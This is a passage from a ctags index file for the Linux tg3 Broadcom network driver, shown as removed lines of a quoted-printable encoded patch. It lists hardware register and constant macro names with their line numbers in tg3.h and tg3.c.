d=0A= -MAC_EVENT_LNKSTATE_CHANGED tg3.h 315;" d=0A= -MAC_EVENT_MI_COMPLETION tg3.h 316;" d=0A= -MAC_EVENT_MI_INTERRUPT tg3.h 317;" d=0A= -MAC_EVENT_ODI_ERROR tg3.h 319;" d=0A= -MAC_EVENT_PORT_DECODE_ERR tg3.h 314;" d=0A= -MAC_EVENT_RXSTAT_OVERRUN tg3.h 320;" d=0A= -MAC_EVENT_TXSTAT_OVERRUN tg3.h 321;" d=0A= -MAC_EXTADDR_0_HIGH tg3.h 472;" d=0A= -MAC_EXTADDR_0_LOW tg3.h 473;" d=0A= -MAC_EXTADDR_10_HIGH tg3.h 492;" d=0A= -MAC_EXTADDR_10_LOW tg3.h 493;" d=0A= -MAC_EXTADDR_11_HIGH tg3.h 494;" d=0A= -MAC_EXTADDR_11_LOW tg3.h 495;" d=0A= -MAC_EXTADDR_1_HIGH tg3.h 474;" d=0A= -MAC_EXTADDR_1_LOW tg3.h 475;" d=0A= -MAC_EXTADDR_2_HIGH tg3.h 476;" d=0A= -MAC_EXTADDR_2_LOW tg3.h 477;" d=0A= -MAC_EXTADDR_3_HIGH tg3.h 478;" d=0A= -MAC_EXTADDR_3_LOW tg3.h 479;" d=0A= -MAC_EXTADDR_4_HIGH tg3.h 480;" d=0A= -MAC_EXTADDR_4_LOW tg3.h 481;" d=0A= -MAC_EXTADDR_5_HIGH tg3.h 482;" d=0A= -MAC_EXTADDR_5_LOW tg3.h 483;" d=0A= -MAC_EXTADDR_6_HIGH tg3.h 484;" d=0A= -MAC_EXTADDR_6_LOW tg3.h 485;" d=0A= -MAC_EXTADDR_7_HIGH tg3.h 486;" d=0A= -MAC_EXTADDR_7_LOW tg3.h 487;" d=0A= -MAC_EXTADDR_8_HIGH tg3.h 488;" d=0A= -MAC_EXTADDR_8_LOW tg3.h 489;" d=0A= -MAC_EXTADDR_9_HIGH tg3.h 490;" d=0A= -MAC_EXTADDR_9_LOW tg3.h 491;" d=0A= -MAC_HASHREGU_0 tg3.h 468;" d=0A= -MAC_HASHREGU_1 tg3.h 469;" d=0A= -MAC_HASHREGU_2 tg3.h 470;" d=0A= -MAC_HASHREGU_3 tg3.h 471;" d=0A= -MAC_HASH_REG_0 tg3.h 427;" d=0A= -MAC_HASH_REG_1 tg3.h 428;" d=0A= -MAC_HASH_REG_2 tg3.h 429;" d=0A= -MAC_HASH_REG_3 tg3.h 430;" d=0A= -MAC_LED_CTRL tg3.h 322;" d=0A= -MAC_LOW_WMARK_MAX_RX_FRAME tg3.h 466;" d=0A= -MAC_MI_COM tg3.h 369;" d=0A= -MAC_MI_MODE tg3.h 383;" d=0A= -MAC_MI_MODE_AUTO_POLL tg3.h 386;" d=0A= -MAC_MI_MODE_BASE tg3.h 388;" d=0A= -MAC_MI_MODE_CLK_10MHZ tg3.h 384;" d=0A= -MAC_MI_MODE_CORE_CLK_62MHZ tg3.h 387;" d=0A= -MAC_MI_MODE_SHORT_PREAMBLE tg3.h 385;" d=0A= -MAC_MI_STAT tg3.h 381;" d=0A= -MAC_MI_STAT_LNKSTAT_ATTN_ENAB tg3.h 382;" d=0A= -MAC_MODE tg3.h 273;" d=0A= -MAC_MODE_ACPI_ENABLE tg3.h 294;" d=0A= -MAC_MODE_FHDE_ENABLE tg3.h 298;" d=0A= -MAC_MODE_HALF_DUPLEX tg3.h 275;" d=0A= -MAC_MODE_LINK_POLARITY tg3.h 285;" d=0A= -MAC_MODE_MAGIC_PKT_ENABLE tg3.h 293;" d=0A= -MAC_MODE_MAX_DEFER tg3.h 284;" d=0A= -MAC_MODE_MIP_ENABLE tg3.h 295;" d=0A= -MAC_MODE_PORT_INT_LPBACK tg3.h 281;" d=0A= -MAC_MODE_PORT_MODE_GMII tg3.h 278;" d=0A= -MAC_MODE_PORT_MODE_MASK tg3.h 276;" d=0A= -MAC_MODE_PORT_MODE_MII tg3.h 279;" d=0A= -MAC_MODE_PORT_MODE_NONE tg3.h 280;" d=0A= -MAC_MODE_PORT_MODE_TBI tg3.h 277;" d=0A= -MAC_MODE_RDE_ENABLE tg3.h 297;" d=0A= -MAC_MODE_RESET tg3.h 274;" d=0A= -MAC_MODE_RXSTAT_CLEAR tg3.h 287;" d=0A= -MAC_MODE_RXSTAT_ENABLE tg3.h 286;" d=0A= -MAC_MODE_RXSTAT_FLUSH tg3.h 288;" d=0A= -MAC_MODE_SEND_CONFIGS tg3.h 292;" d=0A= -MAC_MODE_TAGGED_MAC_CTRL tg3.h 282;" d=0A= -MAC_MODE_TDE_ENABLE tg3.h 296;" d=0A= -MAC_MODE_TXSTAT_CLEAR tg3.h 290;" d=0A= -MAC_MODE_TXSTAT_ENABLE tg3.h 289;" d=0A= -MAC_MODE_TXSTAT_FLUSH tg3.h 291;" d=0A= -MAC_MODE_TX_BURSTING tg3.h 283;" d=0A= -MAC_PCS_TEST tg3.h 359;" d=0A= -MAC_RCV_RULE_0 tg3.h 431;" d=0A= -MAC_RCV_RULE_1 tg3.h 433;" d=0A= -MAC_RCV_RULE_10 tg3.h 451;" d=0A= -MAC_RCV_RULE_11 tg3.h 453;" d=0A= -MAC_RCV_RULE_12 tg3.h 455;" d=0A= -MAC_RCV_RULE_13 tg3.h 457;" d=0A= -MAC_RCV_RULE_14 tg3.h 459;" d=0A= -MAC_RCV_RULE_15 tg3.h 461;" d=0A= -MAC_RCV_RULE_2 tg3.h 435;" d=0A= -MAC_RCV_RULE_3 tg3.h 437;" d=0A= -MAC_RCV_RULE_4 tg3.h 439;" d=0A= -MAC_RCV_RULE_5 tg3.h 441;" d=0A= -MAC_RCV_RULE_6 tg3.h 443;" d=0A= -MAC_RCV_RULE_7 tg3.h 445;" d=0A= -MAC_RCV_RULE_8 tg3.h 447;" d=0A= -MAC_RCV_RULE_9 tg3.h 449;" d=0A= -MAC_RCV_RULE_CFG tg3.h 464;" d=0A= -MAC_RCV_VALUE_0 tg3.h 432;" d=0A= -MAC_RCV_VALUE_1 tg3.h 434;" d=0A= -MAC_RCV_VALUE_10 tg3.h 452;" d=0A= -MAC_RCV_VALUE_11 tg3.h 454;" d=0A= -MAC_RCV_VALUE_12 tg3.h 456;" d=0A= -MAC_RCV_VALUE_13 tg3.h 458;" d=0A= -MAC_RCV_VALUE_14 tg3.h 460;" d=0A= -MAC_RCV_VALUE_15 tg3.h 462;" d=0A= -MAC_RCV_VALUE_2 tg3.h 436;" d=0A= -MAC_RCV_VALUE_3 tg3.h 438;" d=0A= -MAC_RCV_VALUE_4 tg3.h 440;" d=0A= -MAC_RCV_VALUE_5 tg3.h 442;" d=0A= -MAC_RCV_VALUE_6 tg3.h 444;" d=0A= -MAC_RCV_VALUE_7 tg3.h 446;" d=0A= -MAC_RCV_VALUE_8 tg3.h 448;" d=0A= -MAC_RCV_VALUE_9 tg3.h 450;" d=0A= -MAC_RX_AUTO_NEG tg3.h 366;" d=0A= -MAC_RX_MAC_STATE_BASE tg3.h 500;" d=0A= -MAC_RX_MODE tg3.h 411;" d=0A= -MAC_RX_MTU_SIZE tg3.h 357;" d=0A= -MAC_RX_STATS_ALIGN_ERRORS tg3.h 541;" d=0A= -MAC_RX_STATS_BCAST tg3.h 539;" d=0A= -MAC_RX_STATS_FCS_ERRORS tg3.h 540;" d=0A= -MAC_RX_STATS_FRAGMENTS tg3.h 536;" d=0A= -MAC_RX_STATS_FRAME_TOO_LONG tg3.h 546;" d=0A= -MAC_RX_STATS_JABBERS tg3.h 547;" d=0A= -MAC_RX_STATS_MAC_CTRL_RECVD tg3.h 544;" d=0A= -MAC_RX_STATS_MCAST tg3.h 538;" d=0A= -MAC_RX_STATS_OCTETS tg3.h 534;" d=0A= -MAC_RX_STATS_RESV1 tg3.h 535;" d=0A= -MAC_RX_STATS_UCAST tg3.h 537;" d=0A= -MAC_RX_STATS_UNDERSIZE tg3.h 548;" d=0A= -MAC_RX_STATS_XOFF_ENTERED tg3.h 545;" d=0A= -MAC_RX_STATS_XOFF_PAUSE_RECVD tg3.h 543;" d=0A= -MAC_RX_STATS_XON_PAUSE_RECVD tg3.h 542;" d=0A= -MAC_RX_STATUS tg3.h 423;" d=0A= -MAC_SERDES_CFG tg3.h 496;" d=0A= -MAC_SERDES_STAT tg3.h 497;" d=0A= -MAC_STATUS tg3.h 299;" d=0A= -MAC_STATUS_AP_ERROR tg3.h 309;" d=0A= -MAC_STATUS_CFG_CHANGED tg3.h 303;" d=0A= -MAC_STATUS_LNKSTATE_CHANGED tg3.h 306;" d=0A= -MAC_STATUS_MI_COMPLETION tg3.h 307;" d=0A= -MAC_STATUS_MI_INTERRUPT tg3.h 308;" d=0A= -MAC_STATUS_ODI_ERROR tg3.h 310;" d=0A= -MAC_STATUS_PCS_SYNCED tg3.h 300;" d=0A= -MAC_STATUS_PORT_DEC_ERR tg3.h 305;" d=0A= -MAC_STATUS_RCVD_CFG tg3.h 302;" d=0A= -MAC_STATUS_RXSTAT_OVERRUN tg3.h 311;" d=0A= -MAC_STATUS_SIGNAL_DET tg3.h 301;" d=0A= -MAC_STATUS_SYNC_CHANGED tg3.h 304;" d=0A= -MAC_STATUS_TXSTAT_OVERRUN tg3.h 312;" d=0A= -MAC_TX_AUTO_NEG tg3.h 363;" d=0A= -MAC_TX_BACKOFF_SEED tg3.h 355;" d=0A= -MAC_TX_LENGTHS tg3.h 404;" d=0A= -MAC_TX_MAC_STATE_BASE tg3.h 499;" d=0A= -MAC_TX_MODE tg3.h 391;" d=0A= -MAC_TX_STATS_BCAST tg3.h 531;" d=0A= -MAC_TX_STATS_COLLISIONS tg3.h 504;" d=0A= -MAC_TX_STATS_DEFERRED tg3.h 511;" d=0A= -MAC_TX_STATS_EXCESSIVE_COL tg3.h 513;" d=0A= -MAC_TX_STATS_LATE_COL tg3.h 514;" d=0A= -MAC_TX_STATS_MAC_ERRORS tg3.h 508;" d=0A= -MAC_TX_STATS_MCAST tg3.h 530;" d=0A= -MAC_TX_STATS_MULT_COLLISIONS tg3.h 510;" d=0A= -MAC_TX_STATS_OCTETS tg3.h 502;" d=0A= -MAC_TX_STATS_RESV1 tg3.h 503;" d=0A= -MAC_TX_STATS_RESV2 tg3.h 507;" d=0A= -MAC_TX_STATS_RESV3 tg3.h 512;" d=0A= -MAC_TX_STATS_RESV4_1 tg3.h 515;" d=0A= -MAC_TX_STATS_RESV4_10 tg3.h 524;" d=0A= -MAC_TX_STATS_RESV4_11 tg3.h 525;" d=0A= -MAC_TX_STATS_RESV4_12 tg3.h 526;" d=0A= -MAC_TX_STATS_RESV4_13 tg3.h 527;" d=0A= -MAC_TX_STATS_RESV4_14 tg3.h 528;" d=0A= -MAC_TX_STATS_RESV4_2 tg3.h 516;" d=0A= -MAC_TX_STATS_RESV4_3 tg3.h 517;" d=0A= -MAC_TX_STATS_RESV4_4 tg3.h 518;" d=0A= -MAC_TX_STATS_RESV4_5 tg3.h 519;" d=0A= -MAC_TX_STATS_RESV4_6 tg3.h 520;" d=0A= -MAC_TX_STATS_RESV4_7 tg3.h 521;" d=0A= -MAC_TX_STATS_RESV4_8 tg3.h 522;" d=0A= -MAC_TX_STATS_RESV4_9 tg3.h 523;" d=0A= -MAC_TX_STATS_RESV5_1 tg3.h 532;" d=0A= -MAC_TX_STATS_RESV5_2 tg3.h 533;" d=0A= -MAC_TX_STATS_SINGLE_COLLISIONS tg3.h 509;" d=0A= -MAC_TX_STATS_UCAST tg3.h 529;" d=0A= -MAC_TX_STATS_XOFF_SENT tg3.h 506;" d=0A= -MAC_TX_STATS_XON_SENT tg3.h 505;" d=0A= -MAC_TX_STATUS tg3.h 397;" d=0A= -MAILBOX_GENERAL_0 tg3.h 211;" d=0A= -MAILBOX_GENERAL_1 tg3.h 212;" d=0A= -MAILBOX_GENERAL_2 tg3.h 213;" d=0A= -MAILBOX_GENERAL_3 tg3.h 214;" d=0A= -MAILBOX_GENERAL_4 tg3.h 215;" d=0A= -MAILBOX_GENERAL_5 tg3.h 216;" d=0A= -MAILBOX_GENERAL_6 tg3.h 217;" d=0A= -MAILBOX_GENERAL_7 tg3.h 218;" d=0A= -MAILBOX_INTERRUPT_0 tg3.h 207;" d=0A= -MAILBOX_INTERRUPT_1 tg3.h 208;" d=0A= -MAILBOX_INTERRUPT_2 tg3.h 209;" d=0A= -MAILBOX_INTERRUPT_3 tg3.h 210;" d=0A= -MAILBOX_RCVRET_CON_IDX_0 tg3.h 223;" d=0A= -MAILBOX_RCVRET_CON_IDX_1 tg3.h 224;" d=0A= -MAILBOX_RCVRET_CON_IDX_10 tg3.h 233;" d=0A= -MAILBOX_RCVRET_CON_IDX_11 tg3.h 234;" d=0A= -MAILBOX_RCVRET_CON_IDX_12 tg3.h 235;" d=0A= -MAILBOX_RCVRET_CON_IDX_13 tg3.h 236;" d=0A= -MAILBOX_RCVRET_CON_IDX_14 tg3.h 237;" d=0A= -MAILBOX_RCVRET_CON_IDX_15 tg3.h 238;" d=0A= -MAILBOX_RCVRET_CON_IDX_2 tg3.h 225;" d=0A= -MAILBOX_RCVRET_CON_IDX_3 tg3.h 226;" d=0A= -MAILBOX_RCVRET_CON_IDX_4 tg3.h 227;" d=0A= -MAILBOX_RCVRET_CON_IDX_5 tg3.h 228;" d=0A= -MAILBOX_RCVRET_CON_IDX_6 tg3.h 229;" d=0A= -MAILBOX_RCVRET_CON_IDX_7 tg3.h 230;" d=0A= -MAILBOX_RCVRET_CON_IDX_8 tg3.h 231;" d=0A= -MAILBOX_RCVRET_CON_IDX_9 tg3.h 232;" d=0A= -MAILBOX_RCV_JUMBO_PROD_IDX tg3.h 221;" d=0A= -MAILBOX_RCV_MINI_PROD_IDX tg3.h 222;" d=0A= -MAILBOX_RCV_STD_PROD_IDX tg3.h 220;" d=0A= -MAILBOX_RELOAD_STAT tg3.h 219;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_0 tg3.h 239;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_1 tg3.h 240;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_10 tg3.h 249;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_11 tg3.h 250;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_12 tg3.h 251;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_13 tg3.h 252;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_14 tg3.h 253;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_15 tg3.h 254;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_2 tg3.h 241;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_3 tg3.h 242;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_4 tg3.h 243;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_5 tg3.h 244;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_6 tg3.h 245;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_7 tg3.h 246;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_8 tg3.h 247;" d=0A= -MAILBOX_SNDHOST_PROD_IDX_9 tg3.h 248;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_0 tg3.h 255;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_1 tg3.h 256;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_10 tg3.h 265;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_11 tg3.h 266;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_12 tg3.h 267;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_13 tg3.h 268;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_14 tg3.h 269;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_15 tg3.h 270;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_2 tg3.h 257;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_3 tg3.h 258;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_4 tg3.h 259;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_5 tg3.h 260;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_6 tg3.h 261;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_7 tg3.h 262;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_8 tg3.h 263;" d=0A= -MAILBOX_SNDNIC_PROD_IDX_9 tg3.h 264;" d=0A= -MAX_WAIT_CNT tg3.c 3296;" d file:=0A= -MBFREE_MODE tg3.h 781;" d=0A= -MBFREE_MODE_ENABLE tg3.h 783;" d=0A= -MBFREE_MODE_RESET tg3.h 782;" d=0A= -MBFREE_STATUS tg3.h 784;" d=0A= -MEMARB_MODE tg3.h 874;" d=0A= -MEMARB_MODE_ENABLE tg3.h 876;" d=0A= -MEMARB_MODE_RESET tg3.h 875;" d=0A= -MEMARB_STATUS tg3.h 877;" d=0A= -MEMARB_TRAP_ADDR_HIGH tg3.h 879;" d=0A= -MEMARB_TRAP_ADDR_LOW tg3.h 878;" d=0A= -METAL_REV_A0 tg3.h 133;" d=0A= -METAL_REV_A1 tg3.h 134;" d=0A= -METAL_REV_B0 tg3.h 135;" d=0A= -METAL_REV_B1 tg3.h 136;" d=0A= -METAL_REV_B2 tg3.h 137;" d=0A= -MII_TG3_AUX_CTRL tg3.h 1431;" d=0A= -MII_TG3_AUX_STAT tg3.h 1433;" d=0A= -MII_TG3_AUX_STAT_1000FULL tg3.h 1442;" d=0A= -MII_TG3_AUX_STAT_1000HALF tg3.h 1441;" d=0A= -MII_TG3_AUX_STAT_100FULL tg3.h 1440;" d=0A= -MII_TG3_AUX_STAT_100HALF tg3.h 1438;" d=0A= -MII_TG3_AUX_STAT_100_4 tg3.h 1439;" d=0A= -MII_TG3_AUX_STAT_10FULL tg3.h 1437;" d=0A= -MII_TG3_AUX_STAT_10HALF tg3.h 1436;" d=0A= -MII_TG3_AUX_STAT_LPASS tg3.h 1434;" d=0A= -MII_TG3_AUX_STAT_SPDMASK tg3.h 1435;" d=0A= -MII_TG3_CTRL tg3.h 1414;" d=0A= -MII_TG3_CTRL_ADV_1000_FULL tg3.h 1416;" d=0A= -MII_TG3_CTRL_ADV_1000_HALF tg3.h 1415;" d=0A= -MII_TG3_CTRL_AS_MASTER tg3.h 1417;" d=0A= -MII_TG3_CTRL_ENABLE_AS_MASTER tg3.h 1418;" d=0A= -MII_TG3_DSP_ADDRESS tg3.h 1429;" d=0A= -MII_TG3_DSP_RW_PORT tg3.h 1427;" d=0A= -MII_TG3_EXT_CTRL tg3.h 1420;" d=0A= -MII_TG3_EXT_CTRL_LNK3_LED_MODE tg3.h 1421;" d=0A= -MII_TG3_EXT_CTRL_TBI tg3.h 1422;" d=0A= -MII_TG3_EXT_STAT tg3.h 1424;" d=0A= -MII_TG3_EXT_STAT_LPASS tg3.h 1425;" d=0A= -MII_TG3_IMASK tg3.h 1445;" d=0A= -MII_TG3_INT_ANEG_PAGE_RX tg3.h 1451;" d=0A= -MII_TG3_INT_DUPLEXCHG tg3.h 1450;" d=0A= -MII_TG3_INT_LINKCHG tg3.h 1448;" d=0A= -MII_TG3_INT_SPEEDCHG tg3.h 1449;" d=0A= -MII_TG3_ISTAT tg3.h 1444;" d=0A= -MISC_HOST_CTRL_BYTE_SWAP tg3.h 88;" d=0A= -MISC_HOST_CTRL_CHIPREV tg3.h 96;" d=0A= -MISC_HOST_CTRL_CHIPREV_SHIFT tg3.h 97;" d=0A= -MISC_HOST_CTRL_CLEAR_INT tg3.h 86;" d=0A= -MISC_HOST_CTRL_CLKREG_RW tg3.h 91;" d=0A= -MISC_HOST_CTRL_INDIR_ACCESS tg3.h 93;" d=0A= -MISC_HOST_CTRL_IRQ_MASK_MODE tg3.h 94;" d=0A= -MISC_HOST_CTRL_MASK_PCI_INT tg3.h 87;" d=0A= -MISC_HOST_CTRL_PCISTATE_RW tg3.h 90;" d=0A= -MISC_HOST_CTRL_REGWORD_SWAP tg3.h 92;" d=0A= -MISC_HOST_CTRL_TAGGED_STATUS tg3.h 95;" d=0A= -MISC_HOST_CTRL_WORD_SWAP tg3.h 89;" d=0A= -MI_COM_BUSY tg3.h 375;" d=0A= -MI_COM_CMD_MASK tg3.h 370;" d=0A= -MI_COM_CMD_READ tg3.h 372;" d=0A= -MI_COM_CMD_WRITE tg3.h 371;" d=0A= -MI_COM_DATA_MASK tg3.h 380;" d=0A= -MI_COM_PHY_ADDR_MASK tg3.h 376;" d=0A= -MI_COM_PHY_ADDR_SHIFT tg3.h 377;" d=0A= -MI_COM_READ_FAILED tg3.h 373;" d=0A= -MI_COM_REG_ADDR_MASK tg3.h 378;" d=0A= -MI_COM_REG_ADDR_SHIFT tg3.h 379;" d=0A= -MI_COM_START tg3.h 374;" d=0A= -MR_AN_COMPLETE tg3.c 1479;" d file:=0A= -MR_AN_ENABLE tg3.c 1477;" d file:=0A= -MR_LINK_OK tg3.c 1493;" d file:=0A= -MR_LP_ADV_ASYM_PAUSE tg3.c 1486;" d file:=0A= -MR_LP_ADV_FULL_DUPLEX tg3.c 1483;" d file:=0A= -MR_LP_ADV_HALF_DUPLEX tg3.c 1484;" d file:=0A= -MR_LP_ADV_NEXT_PAGE tg3.c 1489;" d file:=0A= -MR_LP_ADV_REMOTE_FAULT1 tg3.c 1487;" d file:=0A= -MR_LP_ADV_REMOTE_FAULT2 tg3.c 1488;" d file:=0A= -MR_LP_ADV_SYM_PAUSE tg3.c 1485;" d file:=0A= -MR_NP_LOADED tg3.c 1481;" d file:=0A= -MR_NP_RX tg3.c 1491;" d file:=0A= -MR_PAGE_RX tg3.c 1480;" d file:=0A= -MR_RESTART_AN tg3.c 1478;" d file:=0A= -MR_TOGGLE_RX tg3.c 1490;" d file:=0A= -MR_TOGGLE_TX tg3.c 1482;" d file:=0A= -MSGINT_FIFO tg3.h 1182;" d=0A= -MSGINT_MODE tg3.h 1178;" d=0A= -MSGINT_MODE_ENABLE tg3.h 1180;" d=0A= -MSGINT_MODE_RESET tg3.h 1179;" d=0A= -MSGINT_STATUS tg3.h 1181;" d=0A= -NEXT_TX tg3.c 121;" d file:=0A= -NIC_SRAM_DATA_CFG tg3.h 1353;" d=0A= -NIC_SRAM_DATA_CFG_ASF_ENABLE tg3.h 1365;" d=0A= -NIC_SRAM_DATA_CFG_EEPROM_WP tg3.h 1366;" d=0A= -NIC_SRAM_DATA_CFG_FIBER_WOL tg3.h 1368;" d=0A= -NIC_SRAM_DATA_CFG_LED_LINK_SPD tg3.h 1358;" d=0A= -NIC_SRAM_DATA_CFG_LED_MODE_MASK tg3.h 1354;" d=0A= -NIC_SRAM_DATA_CFG_LED_MODE_UNKNOWN tg3.h 1355;" d=0A= -NIC_SRAM_DATA_CFG_LED_OPEN_DRAIN tg3.h 1357;" d=0A= -NIC_SRAM_DATA_CFG_LED_OUTPUT tg3.h 1359;" d=0A= -NIC_SRAM_DATA_CFG_LED_TRIPLE_SPD tg3.h 1356;" d=0A= -NIC_SRAM_DATA_CFG_MINI_PCI tg3.h 1367;" d=0A= -NIC_SRAM_DATA_CFG_PHY_TYPE_COPPER tg3.h 1362;" d=0A= -NIC_SRAM_DATA_CFG_PHY_TYPE_FIBER tg3.h 1363;" d=0A= -NIC_SRAM_DATA_CFG_PHY_TYPE_MASK tg3.h 1360;" d=0A= -NIC_SRAM_DATA_CFG_PHY_TYPE_UNKNOWN tg3.h 1361;" d=0A= -NIC_SRAM_DATA_CFG_WOL_ENABLE tg3.h 1364;" d=0A= -NIC_SRAM_DATA_PHY_ID tg3.h 1370;" d=0A= -NIC_SRAM_DATA_PHY_ID1_MASK tg3.h 1371;" d=0A= -NIC_SRAM_DATA_PHY_ID2_MASK tg3.h 1372;" d=0A= -NIC_SRAM_DATA_SIG tg3.h 1350;" d=0A= -NIC_SRAM_DATA_SIG_MAGIC tg3.h 1351;" d=0A= -NIC_SRAM_DMA_DESC_POOL_BASE tg3.h 1397;" d=0A= -NIC_SRAM_DMA_DESC_POOL_SIZE tg3.h 1398;" d=0A= -NIC_SRAM_FIRMWARE_MBOX tg3.h 1346;" d=0A= -NIC_SRAM_FIRMWARE_MBOX_MAGIC1 tg3.h 1347;" d=0A= -NIC_SRAM_FIRMWARE_MBOX_MAGIC2 tg3.h 1348;" d=0A= -NIC_SRAM_FW_ASF_STATUS_MBOX tg3.h 1383;" d=0A= -NIC_SRAM_FW_CMD_DATA_MBOX tg3.h 1382;" d=0A= -NIC_SRAM_FW_CMD_LEN_MBOX tg3.h 1381;" d=0A= -NIC_SRAM_FW_CMD_MBOX tg3.h 1374;" d=0A= -NIC_SRAM_FW_DRV_STATE_MBOX tg3.h 1384;" d=0A= -NIC_SRAM_FW_RESET_TYPE_MBOX tg3.h 1390;" d=0A= -NIC_SRAM_MAC_ADDR_HIGH_MBOX tg3.h 1392;" d=0A= -NIC_SRAM_MAC_ADDR_LOW_MBOX tg3.h 1393;" d=0A= -NIC_SRAM_MBUF_POOL_BASE tg3.h 1402;" d=0A= -NIC_SRAM_MBUF_POOL_BASE5705 tg3.h 1405;" d=0A= -NIC_SRAM_MBUF_POOL_SIZE5705 tg3.h 1406;" d=0A= -NIC_SRAM_MBUF_POOL_SIZE64 tg3.h 1404;" d=0A= -NIC_SRAM_MBUF_POOL_SIZE96 tg3.h 1403;" d=0A= -NIC_SRAM_PAGE_ZERO tg3.h 1340;" d=0A= -NIC_SRAM_RCV_RET_RCB tg3.h 1342;" d=0A= -NIC_SRAM_RX_BUFFER_DESC tg3.h 1400;" d=0A= -NIC_SRAM_RX_JUMBO_BUFFER_DESC tg3.h 1401;" d=0A= -NIC_SRAM_RX_MINI_BUFFER_DESC tg3.h 1395;" d=0A= -NIC_SRAM_SEND_RCB tg3.h 1341;" d=0A= -NIC_SRAM_STATS_BLK tg3.h 1343;" d=0A= -NIC_SRAM_STATUS_BLK tg3.h 1344;" d=0A= -NIC_SRAM_TX_BUFFER_DESC tg3.h 1399;" d=0A= -NIC_SRAM_WIN_BASE tg3.h 1337;" d=0A= -NVRAM_ADDR tg3.h 1302;" d=0A= -NVRAM_ADDR_MSK tg3.h 1303;" d=0A= -NVRAM_BUFFERED_PAGE_POS tg3.h 1331;" d=0A= -NVRAM_BUFFERED_PAGE_SIZE tg3.h 1330;" d=0A= -NVRAM_CFG1 tg3.h 1305;" d=0A= -NVRAM_CFG1_BIT_BANG tg3.h 1309;" d=0A= -NVRAM_CFG1_BUFFERED_MODE tg3.h 1307;" d=0A= -NVRAM_CFG1_COMPAT_BYPASS tg3.h 1310;" d=0A= -NVRAM_CFG1_FLASHIF_ENAB tg3.h 1306;" d=0A= -NVRAM_CFG1_PASS_THRU tg3.h 1308;" d=0A= -NVRAM_CFG2 tg3.h 1311;" d=0A= -NVRAM_CFG3 tg3.h 1312;" d=0A= -NVRAM_CMD tg3.h 1291;" d=0A= -NVRAM_CMD_DONE tg3.h 1293;" d=0A= -NVRAM_CMD_ERASE tg3.h 1297;" d=0A= -NVRAM_CMD_FIRST tg3.h 1298;" d=0A= -NVRAM_CMD_GO tg3.h 1294;" d=0A= -NVRAM_CMD_LAST tg3.h 1299;" d=0A= -NVRAM_CMD_RD tg3.h 1296;" d=0A= -NVRAM_CMD_RESET tg3.h 1292;" d=0A= -NVRAM_CMD_WR tg3.h 1295;" d=0A= -NVRAM_RDDATA tg3.h 1304;" d=0A= -NVRAM_STAT tg3.h 1300;" d=0A= -NVRAM_SWARB tg3.h 1313;" d=0A= -NVRAM_WRDATA tg3.h 1301;" d=0A= -PCISTATE_BUS_32BIT tg3.h 175;" d=0A= -PCISTATE_BUS_SPEED_HIGH tg3.h 174;" d=0A= -PCISTATE_CONV_PCI_MODE tg3.h 173;" d=0A= -PCISTATE_FLAT_VIEW tg3.h 178;" d=0A= -PCISTATE_FORCE_RESET tg3.h 171;" d=0A= -PCISTATE_INT_NOT_ACTIVE tg3.h 172;" d=0A= -PCISTATE_RETRY_SAME_DMA tg3.h 179;" d=0A= -PCISTATE_ROM_ENABLE tg3.h 176;" d=0A= -PCISTATE_ROM_RETRY_ENABLE tg3.h 177;" d=0A= -PCIX_CAPS_BURST_MASK tg3.h 61;" d=0A= -PCIX_CAPS_BURST_SHIFT tg3.h 62;" d=0A= -PCIX_CAPS_MAX_BURST_CPIOB tg3.h 63;" d=0A= -PCIX_CAPS_RELAXED_ORDERING tg3.h 58;" d=0A= -PCIX_CAPS_SPLIT_MASK tg3.h 59;" d=0A= -PCIX_CAPS_SPLIT_SHIFT tg3.h 60;" d=0A= -PCS_TEST_ENABLE tg3.h 362;" d=0A= -PCS_TEST_PATTERN_MASK tg3.h 360;" d=0A= -PCS_TEST_PATTERN_SHIFT tg3.h 361;" d=0A= -PFX tg3.c 58;" d file:=0A= -PHY_ADDR tg3.h 1409;" d=0A= -PHY_BUSY_LOOPS tg3.c 315;" d file:=0A= -PHY_ID_BCM5400 tg3.h 1961;" d=0A= -PHY_ID_BCM5401 tg3.h 1962;" d=0A= -PHY_ID_BCM5411 tg3.h 1963;" d=0A= -PHY_ID_BCM5701 tg3.h 1964;" d=0A= -PHY_ID_BCM5703 tg3.h 1965;" d=0A= -PHY_ID_BCM5704 tg3.h 1966;" d=0A= -PHY_ID_BCM5705 tg3.h 1967;" d=0A= -PHY_ID_BCM8002 tg3.h 1968;" d=0A= -PHY_ID_INVALID tg3.h 1970;" d=0A= -PHY_ID_MASK tg3.h 1960;" d=0A= -PHY_ID_REV_MASK tg3.h 1971;" d=0A= -PHY_ID_SERDES tg3.h 1969;" d=0A= -PHY_REV_BCM5401_B0 tg3.h 1972;" d=0A= -PHY_REV_BCM5401_B2 tg3.h 1973;" d=0A= -PHY_REV_BCM5401_C0 tg3.h 1974;" d=0A= -PHY_REV_BCM5411_X0 tg3.h 1975;" d=0A= -RCVBDI_JUMBO_PROD_IDX tg3.h 751;" d=0A= -RCVBDI_JUMBO_THRESH 